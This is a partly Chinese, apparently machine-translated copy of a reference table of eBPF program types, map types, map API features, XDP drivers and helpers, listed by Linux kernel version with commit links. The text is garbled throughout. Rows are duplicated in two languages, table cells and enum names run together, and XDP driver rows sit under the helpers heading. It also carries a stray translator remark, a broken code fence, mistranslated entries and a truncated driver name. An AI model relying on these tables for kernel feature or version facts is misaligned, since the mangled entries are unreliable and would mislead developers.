<p>stream parser / stream verdict | 4.14 | <a href="https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79"><code>b005fd189cec</code></a> | BPF_PROG_TYPE_SK_SKB
流分析器 / 流判定 | 4.14 | <a href="https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79"><code>b005fd189cec</code></a> | BPF_PROG_TYPE_SK_SKB</p>
<p>cgroup device manager | 4.15 | <a href="https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92"><code>ebc614f68736</code></a> | BPF_PROG_TYPE_CGROUP_DEVICE
cgroup设备管理器 | 4.15 | <a href="https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92"><code>ebc614f68736</code></a> | BPF_PROG_TYPE_CGROUP_DEVICE</p>
<p>socket msg verdict | 4.17 | <a href="https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0"><code>4f738adba30a</code></a> | BPF_PROG_TYPE_SK_MSG
套接字消息判定 | 4.17 | <a href="https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0"><code>4f738adba30a</code></a> | BPF_PROG_TYPE_SK_MSG</p>
<p>Raw tracepoint | 4.17 | <a href="https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9"><code>c4f6699dfcb8</code></a> | BPF_PROG_TYPE_RAW_TRACEPOINT
裸跟踪点 | 4.17 | <a href="https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9"><code>c4f6699dfcb8</code></a> | BPF_PROG_TYPE_RAW_TRACEPOINT</p>
<p>socket binding | 4.17 | <a href="https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427"><code>4fbac77d2d09</code></a> | BPF_PROG_TYPE_CGROUP_SOCK_ADDR
套接字绑定 | 4.17 | <a href="https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427"><code>4fbac77d2d09</code></a> | BPF_PROG_TYPE_CGROUP_SOCK_ADDR</p>
<p>LWT seg6local | 4.18 | <a href="https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44"><code>004d4b274e2a</code></a> | BPF_PROG_TYPE_LWT_SEG6LOCAL
轻量级隧道seg6local | 4.18 | <a href="https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44"><code>004d4b274e2a</code></a> | BPF_PROG_TYPE_LWT_SEG6LOCAL</p>
<p>lirc devices | 4.18 | <a href="https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936"><code>f4364dcfc86d</code></a> | BPF_PROG_TYPE_LIRC_MODE2
lirc设备 | 4.18 | <a href="https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936"><code>f4364dcfc86d</code></a> | BPF_PROG_TYPE_LIRC_MODE2</p>
<p>lookup SO_REUSEPORT socket | 4.19 | <a href="https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf"><code>2dbb9b9e6df6</code></a> | BPF_PROG_TYPE_SK_REUSEPORT
查找SO_REUSEPORT套接字 | 4.19 | <a href="https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf"><code>2dbb9b9e6df6</code></a> | BPF_PROG_TYPE_SK_REUSEPORT</p>
<p>flow dissector | 4.20 | <a href="https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9"><code>d58e468b1112</code></a> | BPF_PROG_TYPE_FLOW_DISSECTOR
流解析器 | 4.20 | <a href="https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9"><code>d58e468b1112</code></a> | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | <a href="https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637"><code>7b146cebe30c</code></a> | BPF_PROG_TYPE_CGROUP_SYSCTL
可控 cgroup | 5.2 | <a href="https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637"><code>7b146cebe30c</code></a> | BPF_PROG_TYPE_CGROUP_SYSCTL</p>
<p>writable raw tracepoints | 5.2 | <a href="https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0"><code>9df1c28bb752</code></a> | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE
可写原始跟踪点 | 5.2 | <a href="https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0"><code>9df1c28bb752</code></a> | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE</p>
<p>cgroup getsockopt/setsockopt | 5.3 | <a href="https://github.com/torvalds/linux/commit/0d01da6afc5402f60325c5da31b22f7d56689b49"><code>0d01da6afc54</code></a> | BPF_PROG_TYPE_CGROUP_SOCKOPT
cgroup getsockopt/setsockopt | 5.3 | <a href="https://github.com/torvalds/linux/commit/0d01da6afc5402f60325c5da31b22f7d56689b49"><code>0d01da6afc54</code></a> | BPF_PROG_TYPE_CGROUP_SOCKOPT</p>
<p>Tracing (BTF/BPF trampoline) | 5.5 | <a href="https://github.com/torvalds/linux/commit/f1b9509c2fb0ef4db8d22dac9aef8e856a5d81f6"><code>f1b9509c2fb0</code></a> | BPF_PROG_TYPE_TRACING
追踪 (BTF/BPF 弹跳) | 5.5 | <a href="https://github.com/torvalds/linux/commit/f1b9509c2fb0ef4db8d22dac9aef8e856a5d81f6"><code>f1b9509c2fb0</code></a> | BPF_PROG_TYPE_TRACING</p>
<p>struct ops | 5.6 | <a href="https://github.com/torvalds/linux/commit/27ae7997a66174cb8afd6a75b3989f5e0c1b9e5a"><code>27ae7997a661</code></a> | BPF_PROG_TYPE_STRUCT_OPS
结构操作 | 5.6 | <a href="https://github.com/torvalds/linux/commit/27ae7997a66174cb8afd6a75b3989f5e0c1b9e5a"><code>27ae7997a661</code></a> | BPF_PROG_TYPE_STRUCT_OPS</p>
<p>extensions | 5.6 | <a href="https://github.com/torvalds/linux/commit/be8704ff07d2374bcc5c675526f95e70c6459683"><code>be8704ff07d2</code></a> | BPF_PROG_TYPE_EXT
扩展 | 5.6 | <a href="https://github.com/torvalds/linux/commit/be8704ff07d2374bcc5c675526f95e70c6459683"><code>be8704ff07d2</code></a> | BPF_PROG_TYPE_EXT</p>
<p>LSM | 5.7 | <a href="https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58"><code>fc611f47f218</code></a> | BPF_PROG_TYPE_LSM
LSM (Linux安全模块) | 5.7 | <a href="https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58"><code>fc611f47f218</code></a> | BPF_PROG_TYPE_LSM</p>
<p>lookup listening socket | 5.9 | <a href="https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca"><code>e9ddbb7707ff</code></a> | BPF_PROG_TYPE_SK_LOOKUP
查询监听套接字 | 5.9 | <a href="https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca"><code>e9ddbb7707ff</code></a> | BPF_PROG_TYPE_SK_LOOKUP</p>
<p>Allow executing syscalls | 5.15 | <a href="https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8"><code>79a7f8bdb159</code></a> | BPF_PROG_TYPE_SYSCALL
允许执行系统调用 | 5.15 | <a href="https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8"><code>79a7f8bdb159</code></a> | BPF_PROG_TYPE_SYSCALL</p>
<h2 id="map-types-aka-表格-在-bcc-术语中"><a class="header" href="#map-types-aka-表格-在-bcc-术语中">Map types (<em>a.k.a.</em> 表格, 在 BCC 术语中)</a></h2>
<h3 id="map-类型"><a class="header" href="#map-类型">Map 类型</a></h3>
<p>您内核支持的 Map 类型列表可以在文件 <a href="https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h"><code>include/uapi/linux/bpf.h</code></a> 中找到:</p>
<pre><code class="language-sh">git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h
</code></pre>
<div class="table-wrapper"><table><thead><tr><th>Map 类型</th><th>内核版本</th><th>提交</th><th>枚举</th></tr></thead><tbody>
<tr><td>哈希</td><td>3.19</td><td><a href="https://github.com/torvalds/linux/commit/0f8e4bd8a1fc8c4185f1630061d0a1f2d197a475"><code>0f8e4bd8a1fc</code></a></td><td>BPF_MAP_TYPE_HASH&quot;.Array</td></tr>
<tr><td>Prog array</td><td>4.2</td><td><a href="https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb"><code>04fd61ab36ec</code></a></td><td>BPF_MAP_TYPE_PROG_ARRAY</td></tr>
<tr><td>Perf events</td><td>4.3</td><td><a href="https://github.com/torvalds/linux/commit/ea317b267e9d03a8241893aa176fba7661d07579"><code>ea317b267e9d</code></a></td><td>BPF_MAP_TYPE_PERF_EVENT_ARRAY</td></tr>
<tr><td>Per-CPU hash</td><td>4.6</td><td><a href="https://github.com/torvalds/linux/commit/824bd0ce6c7c43a9e1e210abf124958e54d88342"><code>824bd0ce6c7c</code></a></td><td>BPF_MAP_TYPE_PERCPU_HASH</td></tr>
<tr><td>Per-CPU array</td><td>4.6</td><td><a href="https://github.com/torvalds/linux/commit/a10423b87a7eae75da79ce80a8d9475047a674ee"><code>a10423b87a7e</code></a></td><td>BPF_MAP_TYPE_PERCPU_ARRAY</td></tr>
<tr><td>Stack trace</td><td>4.6</td><td><a href="https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19"><code>d5a3b1f69186</code></a></td><td>BPF_MAP_TYPE_STACK_TRACE</td></tr>
<tr><td>cgroup array</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/4ed8ec521ed57c4e207ad464ca0388776de74d4b"><code>4ed8ec521ed5</code></a></td><td>BPF_MAP_TYPE_CGROUP_ARRAY</td></tr>
<tr><td>LRU hash</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/29ba732acbeece1e34c68483d1ec1f3720fa1bb3"><code>29ba732acbee</code></a> <a href="https://github.com/torvalds/linux/commit/3a08c2fd763450a927d1130de078d6f9e74944fb"><code>3a08c2fd7634</code></a></td><td>BPF_MAP_TYPE_LRU_HASH</td></tr>
<tr><td>LRU per-CPU hash</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/8f8449384ec364ba2a654f11f94e754e4ff719e0"><code>8f8449384ec3</code></a> <a href="https://github.com/torvalds/linux/commit/961578b63474d13ad0e2f615fcc2901c5197dda6"><code>961578b63474</code></a></td><td>BPF_MAP_TYPE_LRU_PERCPU_HASH</td></tr>
<tr><td>LPM trie (longest-prefix match)</td><td>4.11</td><td><a href="https://github.com/torvalds/linux/commit/b95a5c4db09bc7c253636cb84dc9b12c577fd5a0"><code>b95a5c4db09b</code></a></td><td>BPF_MAP_TYPE_LPM_TRIE</td></tr>
<tr><td>Array of maps</td><td>4.12</td><td><a href="https://github.com/torvalds/linux/commit/56f668dfe00dcf086734f1c42ea999398fad6572"><code>56f668dfe00d</code></a></td><td>BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps</td></tr>
<tr><td>Netdevice references (array)</td><td>4.14</td><td><a href="https://github.com/torvalds/linux/commit/546ac1ffb70d25b56c1126940e5ec639c4dd7413"><code>546ac1ffb70d</code></a></td><td>BPF_MAP_TYPE_DEVMAP</td></tr>
<tr><td>Socket references (array)</td><td>4.14</td><td><a href="https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6"><code>174a79ff9515</code></a></td><td>BPF_MAP_TYPE_SOCKMAP</td></tr>
<tr><td>CPU references</td><td>4.15</td><td><a href="https://github.com/torvalds/linux/commit/6710e1126934d8b4372b4d2f9ae1646cd3f151bf"><code>6710e1126934</code></a></td><td>BPF_MAP_TYPE_CPUMAP</td></tr>
<tr><td>AF_XDP socket (XSK) references</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/fbfc504a24f53f7ebe128ab55cb5dba634f4ece8"><code>fbfc504a24f5</code></a></td><td>BPF_MAP_TYPE_XSKMAP</td></tr>
<tr><td>Socket references (hashmap)</td><td>4.18</td><td><a href="https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4"><code>81110384441a</code></a></td><td>BPF_MAP_TYPE_SOCKHASH</td></tr>
<tr><td>cgroup storage</td><td>4.19</td><td><a href="https://github.com/torvalds/linux/commit/de9cbbaadba5adf88a19e46df61f7054000838f6"><code>de9cbbaadba5</code></a></td><td>BPF_MAP_TYPE_CGROUP_STORAGE</td></tr>
<tr><td>reuseport sockarray</td><td>4.19</td><td><a href="https://github.com/torvalds/linux/commit/5dc4c4b7d4e8115e7cde96a030f98cb3ab2e458c"><code>5dc4c4b7d4e8</code></a></td><td>BPF_MAP_TYPE_REUSEPORT_SOCKARRAY</td></tr>
<tr><td>precpu cgroup storage</td><td>4.20</td><td><a href="https://github.com/torvalds/linux/commit/b741f1630346defcbc8cc60f1a2bdae8b3b0036f"><code>b741f1630346</code></a></td><td>BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE</td></tr>
<tr><td>queue</td><td>4.20</td><td><a href="https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92"><code>f1a2e44a3aec</code></a></td><td>BPF_MAP_TYPE_QUEUE</td></tr>
<tr><td>stack</td><td>4.20</td><td><a href="https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92"><code>f1a2e44a3aec</code></a></td><td>BPF_MAP_TYPE_STACK</td></tr>
<tr><td>socket local storage</td><td>5.2</td><td><a href="https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d"><code>6ac99e8f23d4</code></a></td><td>BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap)</td></tr>
<tr><td>struct ops</td><td>5.6</td><td><a href="https://github.com/torvalds/linux/commit/85d33df357b634649ddbe0a20fd2d0fc5732c3cb">85d33df357b6</a></td><td>BPF_MAP_TYPE_STRUCT_OPS</td></tr>
<tr><td>ring buffer</td><td>5.8</td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab">457f44363a88</a></td><td>BPF_MAP_TYPE_RINGBUF</td></tr>
<tr><td>inode storage</td><td>5.10</td><td><a href="https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6">8ea636848aca</a></td><td>BPF_MAP_TYPE_INODE_STORAGE</td></tr>
<tr><td>task storage</td><td>5.11</td><td><a href="https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919">4cf1bc1f1045</a></td><td>BPF_MAP_TYPE_TASK_STORAGE</td></tr>
<tr><td>Bloom filter</td><td>5.16</td><td><a href="https://github.com/torvalds/linux/commit/9330986c03006ab1d33d243b7cfe598a7a3c1baa">9330986c0300</a></td><td>BPF_MAP_TYPE_BLOOM_FILTER</td></tr>
<tr><td>user ringbuf</td><td>6.1</td><td><a href="https://github.com/torvalds/linux/commit/583c1f420173f7d84413a1a1fbf5109d798b4faa">583c1f420173</a></td><td>BPF_MAP_TYPE_USER_RINGBUF</td></tr>
</tbody></table>
</div>
<h3 id="map-userspace-api"><a class="header" href="#map-userspace-api">Map userspace API</a></h3>
<p>Some (but not all) of these <em>API features</em> translate to a subcommand beginning with <code>BPF_MAP_</code>.
The list of subcommands supported in your kernel can be found in file
<a href="https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h">include/uapi/linux/bpf.h</a>:</p>
<pre><code class="language-sh">git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h
</code></pre>
<div class="table-wrapper"><table><thead><tr><th>Feature</th><th>Kernel version</th><th>Commit</th></tr></thead><tbody>
<tr><td>Basic operations (lookup, update, delete, <code>GET_NEXT_KEY</code>)</td><td>3.18</td><td><a href="https://github.com/torvalds/linux/commit/db20fd2b01087bdfbe30bce314a198eefedcc42e">db20fd2b0108</a></td></tr>
<tr><td>Pass flags to <code>UPDATE_ELEM</code></td><td>3.19</td><td><a href="https://github.com/torvalds/linux/commit/3274f52073d88b62f3c5ace82ae9d48546232e72">3274f52073d8</a></td></tr>
<tr><td>Pre-alloc map memory by default</td><td>4.6</td><td><a href="https://github.com/torvalds/linux/commit/6c90598174322b8888029e40dd84a4eb01f56afe">6c9059817432</a>传递<code>NULL</code><code>GET_NEXT_KEY</code></td></tr>
<tr><td>创建: 选择NUMA节点</td><td>4.14</td><td><a href="https://github.com/torvalds/linux/commit/96eabe7a40aa17e613cf3db2c742ee8b1fc764d0"><code>96eabe7a40aa</code></a></td></tr>
<tr><td>限制从系统调用方面的访问</td><td>4.15</td><td><a href="https://github.com/torvalds/linux/commit/6e71b04a82248ccf13a94b85cbc674a9fefe53f5"><code>6e71b04a8224</code></a></td></tr>
<tr><td>创建: 指定映射名称</td><td>4.15</td><td><a href="https://github.com/torvalds/linux/commit/ad5b177bd73f5107d97c36f56395c4281fb6f089"><code>ad5b177bd73f</code></a></td></tr>
<tr><td><code>LOOKUP_AND_DELETE_ELEM</code></td><td>4.20</td><td><a href="https://github.com/torvalds/linux/commit/bd513cd08f10cbe28856f99ae951e86e86803861"><code>bd513cd08f10</code></a></td></tr>
<tr><td>创建: <code>BPF_F_ZERO_SEED</code></td><td>5.0</td><td><a href="https://github.com/torvalds/linux/commit/96b3b6c9091d23289721350e32c63cc8749686be"><code>96b3b6c9091d</code></a></td></tr>
<tr><td>查找/更新的<code>BPF_F_LOCK</code>标志</td><td>5.1</td><td><a href="https://github.com/torvalds/linux/commit/96049f3afd50fe8db69fa0068cdca822e747b1e4"><code>96049f3afd50</code></a></td></tr>
<tr><td>限制从BPF方面的访问</td><td>5.2</td><td><a href="https://github.com/torvalds/linux/commit/591fe9888d7809d9ee5c828020b6c6ae27c37229"><code>591fe9888d78</code></a></td></tr>
<tr><td><code>FREEZE</code></td><td>5.2</td><td><a href="https://github.com/torvalds/linux/commit/87df15de441bd4add7876ef584da8cabdd9a042a"><code>87df15de441b</code></a></td></tr>
<tr><td>数组映射的mmap()支持</td><td>5.5</td><td><a href="https://github.com/torvalds/linux/commit/fc9702273e2edb90400a34b3be76f7b08fa3344b"><code>fc9702273e2e</code></a></td></tr>
<tr><td><code>LOOKUP_BATCH</code></td><td>5.6</td><td><a href="https://github.com/torvalds/linux/commit/cb4d03ab499d4c040f4ab6fd4389d2b49f42b5a5"><code>cb4d03ab499d</code></a></td></tr>
<tr><td><code>UPDATE_BATCH</code>, <code>DELETE_BATCH</code></td><td>5.6</td><td><a href="https://github.com/torvalds/linux/commit/aa2e93b8e58e18442edfb2427446732415bc215e"><code>aa2e93b8e58e</code></a></td></tr>
<tr><td><code>LOOKUP_AND_DELETE_BATCH</code></td><td>5.6</td><td><a href="https://github.com/torvalds/linux/commit/057996380a42bb64ccc04383cfa9c0ace4ea11f0"><code>057996380a42</code></a></td></tr>
<tr><td><code>LOOKUP_AND_DELETE_ELEM</code>哈希映射的支持</td><td>5.14</td><td><a href="https://github.com/torvalds/linux/commit/3e87f192b405960c0fe83e0925bd0dadf4f8cf43"><code>3e87f192b405</code></a></td></tr>
</tbody></table>
</div>
<h2 id="xdp"><a class="header" href="#xdp">XDP</a></h2>
<p>您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索:
```sh````git grep -l XDP_SETUP_PROG drivers/</p>
<div class="table-wrapper"><table><thead><tr><th>功能/驱动</th><th>内核版本</th><th>提交</th></tr></thead><tbody>
<tr><td>XDP核心架构</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95"><code>6a773a15a1e8</code></a></td></tr>
<tr><td>操作:丢弃</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95"><code>6a773a15a1e8</code></a></td></tr>
<tr><td>操作:传递到堆栈</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95"><code>6a773a15a1e8</code></a></td></tr>
<tr><td>直接转发(同一端口)</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/6ce96ca348a9e949f8c43f4d3e98db367d93cffd"><code>6ce96ca348a9</code></a></td></tr>
<tr><td>直接数据包数据写入</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/4acf6c0b84c91243c705303cd9ff16421914150d"><code>4acf6c0b84c9</code></a></td></tr>
<tr><td>Mellanox <code>mlx4</code>驱动</td><td>4.8</td><td><a href="https://github.com/torvalds/linux/commit/47a38e155037f417c5740e24ccae6482aedf4b68"><code>47a38e155037</code></a></td></tr>
<tr><td>Mellanox <code>mlx5</code>驱动</td><td>4.9</td><td><a href="https://github.com/torvalds/linux/commit/86994156c736978d113e7927455d4eeeb2128b9f"><code>86994156c736</code></a></td></tr>
<tr><td>Netronome <code>nfp</code>驱动</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/ecd63a0217d5f1e8a92f7516f5586d1177b95de2"><code>ecd63a0217d5</code></a></td></tr>
<tr><td>QLogicCavium<code>qed*</code>驱动</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/496e051709588f832d7a6a420f44f8642b308a87"><code>496e05170958</code></a></td></tr>
<tr><td><code>virtio_net</code>驱动</td><td>4.10</td><td><a href="https://github.com/torvalds/linux/commit/f600b690501550b94e83e07295d9c8b9c4c39f4e"><code>f600b6905015</code></a></td></tr>
<tr><td>Broadcom <code>bnxt_en</code>驱动</td><td>4.11</td><td><a href="https://github.com/torvalds/linux/commit/c6d30e8391b85e00eb544e6cf047ee0160ee9938"><code>c6d30e8391b8</code></a></td></tr>
<tr><td>Intel <code>ixgbe*</code>驱动</td><td>4.12</td><td><a href="https://github.com/torvalds/linux/commit/9247080816297de4e31abb684939c0e53e3a8a67"><code>924708081629</code></a></td></tr>
<tr><td>Cavium <code>thunderx</code>驱动</td><td>4.12</td><td><a href="https://github.com/torvalds/linux/commit/05c773f52b96ef3fbc7d9bfa21caadc6247ef7a8"><code>05c773f52b96</code></a></td></tr>
<tr><td>通用XDP</td><td>4.12</td><td><a href="https://github.com/torvalds/linux/commit/b5cdae3291f7be7a34e75affe4c0ec1f7f328b64"><code>b5cdae3291f7</code></a>`</td></tr>
</tbody></table>
</div>
<p><strong>注意:</strong>
本次翻译仅包括翻译部分,不包括原始文本。## 帮助者</p>
<p>您的内核支持的辅助者列表可在文件中找到。</p>
<p>Intel <code>i40e</code> 驱动程序 | 4.13 | <a href="https://github.com/torvalds/linux/commit/0c8493d90b6bb0f5c4fe9217db8f7203f24c0f28"><code>0c8493d90b6b</code></a></p>
<p>操作:重定向 | 4.14 | <a href="https://github.com/torvalds/linux/commit/6453073987ba392510ab6c8b657844a9312c67f7"><code>6453073987ba</code></a></p>
<p>支持 tap | 4.14 | <a href="https://github.com/torvalds/linux/commit/761876c857cb2ef8489fbee01907151da902af91"><code>761876c857cb</code></a></p>
<p>支持 veth | 4.14 | <a href="https://github.com/torvalds/linux/commit/d445516966dcb2924741b13b27738b54df2af01a"><code>d445516966dc</code></a></p>
<p>Intel <code>ixgbevf</code> 驱动程序 | 4.17 | <a href="https://github.com/torvalds/linux/commit/c7aec59657b60f3a29fc7d3274ebefd698879301"><code>c7aec59657b6</code></a></p>
<p>Freescale <code>dpaa2</code> 驱动程序 | 5.0 | <a href="https://github.com/torvalds/linux/commit/7e273a8ebdd3b83f94eb8b49fc8ee61464f47cc2"><code>7e273a8ebdd3</code></a></p>
<p>Socionext <code>netsec</code> 驱动程序 | 5.3 | <a href="https://github.com/torvalds/linux/commit/ba2b232108d3c2951bab02930a00f23b0cffd5af"><code>ba2b232108d3</code></a></p>
<p>TI <code>cpsw</code> 驱动程序 | 5.3 | <a href="https://github.com/torvalds/linux/commit/9ed4050c0d75768066a07cf66eef4f8dc9d79b52"><code>9ed4050c0d75</code></a></p>
<p>Intel <code>ice</code> 驱动程序 |5.5| <a href="https://github.com/torvalds/linux/commit/efc2214b6047b6f5b4ca53151eba62521b9452d6"><code>efc2214b6047</code></a></p>
<p>Solarflare <code>sfc</code> 驱动程序 | 5.5 | <a href="https://github.com/torvalds/linux/commit/eb9a36be7f3ec414700af9a616f035eda1f1e63e"><code>eb9a36be7f3e</code></a></p>
<p>Marvell <code>mvneta</code> 驱动程序 | 5.5 | <a href="https://github.com/torvalds/linux/commit/0db51da7a8e99f0803ec3a8e25c1a66234a219cb"><code>0db51da7a8e9</code></a></p>
<p>Microsoft <code>hv_netvsc</code> 驱动程序 | 5.6 | <a href="https://github.com/torvalds/linux/commit/351e1581395fcc7fb952bbd7dda01238f69968fd"><code>351e1581395f</code></a></p>
<p>Amazon <code>ena</code> 驱动程序 | 5.6 | <a href="https://github.com/torvalds/linux/commit/838c93dc5449e5d6378bae117b0a65a122cf7361"><code>838c93dc5449</code></a></p>
<p><code>xen-netfront</code> 驱动程序 | 5.9 | <a href="https://github.com/torvalds/linux/commit/6c5aa6fc4defc2a0977a2c59e4710d50fa1e834c"><code>6c5aa6fc4def</code></a></p>
<p>Intel <code>gi</code> 驱动程序 | 5.10 | <a href="https://github.com/torvalds/linux/commit/9cbc948b5a20c9c054d9631099c0426c16da546b"><code>9cbc948b5a20</code></a><code>include/uapi/linux/bpf.h</code>: <a href="https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h"><code>include/uapi/linux/bpf.h</code></a>:</p>
<pre><code class="language-sh">git grep ' FN(' include/uapi/linux/bpf.h
</code></pre>
<p>按字母顺序排列</p>
<div class="table-wrapper"><table><thead><tr><th>Helper</th><th>内核版本</th><th>授权许可</th><th>提交记录</th></tr></thead><tbody>
<tr><td><code>BPF_FUNC_bind()</code></td><td>4.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5"><code>d74bad4e74ee</code></a></td></tr>
<tr><td><code>BPF_FUNC_bprm_opts_set()</code></td><td>5.11</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3f6719c7b62f0327c9091e26d0da10e65668229e"><code>3f6719c7b62f</code></a></td></tr>
<tr><td><code>BPF_FUNC_btf_find_by_name_kind()</code></td><td>5.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3d78417b60fba249cc555468cb72d96f5cde2964"><code>3d78417b60fb</code></a></td></tr>
<tr><td><code>BPF_FUNC_cgrp_storage_delete()</code></td><td>6.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4"><code>c4bcfb38a95e</code></a></td></tr>
<tr><td><code>BPF_FUNC_cgrp_storage_get()</code></td><td>6.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4"><code>c4bcfb38a95e</code></a></td></tr>
<tr><td><code>BPF_FUNC_check_mtu()</code></td><td>5.12</td><td></td><td><a href="https://github.com/torvalds/linux/commit/34b2021cc61642d61c3cf943d9e71925b827941b"><code>34b2021cc616</code></a></td></tr>
<tr><td><code>BPF_FUNC_clone_redirect()</code></td><td>4.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3896d655f4d491c67d669a15f275a39f713410f8"><code>3896d655f4d4</code></a></td></tr>
<tr><td><code>BPF_FUNC_copy_from_user()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/07be4c4a3e7a0db148e44b16c5190e753d1c8569"><code>07be4c4a3e7a</code></a></td></tr>
<tr><td><code>BPF_FUNC_copy_from_user_task()</code></td><td>5.18</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/376040e47334c6dc6a939a32197acceb00fe4acf"><code>376040e47334</code></a></td></tr>
<tr><td><code>BPF_FUNC_csum_diff()</code></td><td>4.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7d672345ed295b1356a5d9f7111da1d1d7d65867"><code>7d672345ed29</code></a></td></tr>
<tr><td><code>BPF_FUNC_csum_level()</code></td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7cdec54f9713256bb170873a1fc5c75c9127c9d2"><code>7cdec54f9713</code></a></td></tr>
<tr><td><code>BPF_FUNC_csum_update()</code></td><td>4.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857"><code>36bbef52c7eb</code></a>&quot;<code>BPF_FUNC_current_task_under_cgroup()</code></td></tr>
<tr><td><code>BPF_FUNC_d_path()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6e22ab9da79343532cd3cde39df25e5a5478c692"><code>6e22ab9da793</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_data()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/34d4ef5775f776ec4b0d53a02d588bf3195cada6"><code>34d4ef5775f7</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_from_mem()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/263ae152e96253f40c2c276faad8629e096b3bad"><code>263ae152e962</code></a></td></tr>
<tr><td><code>BPF_FUNC_dynptr_read()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2"><code>13bbbfbea759</code></a></td></tr>
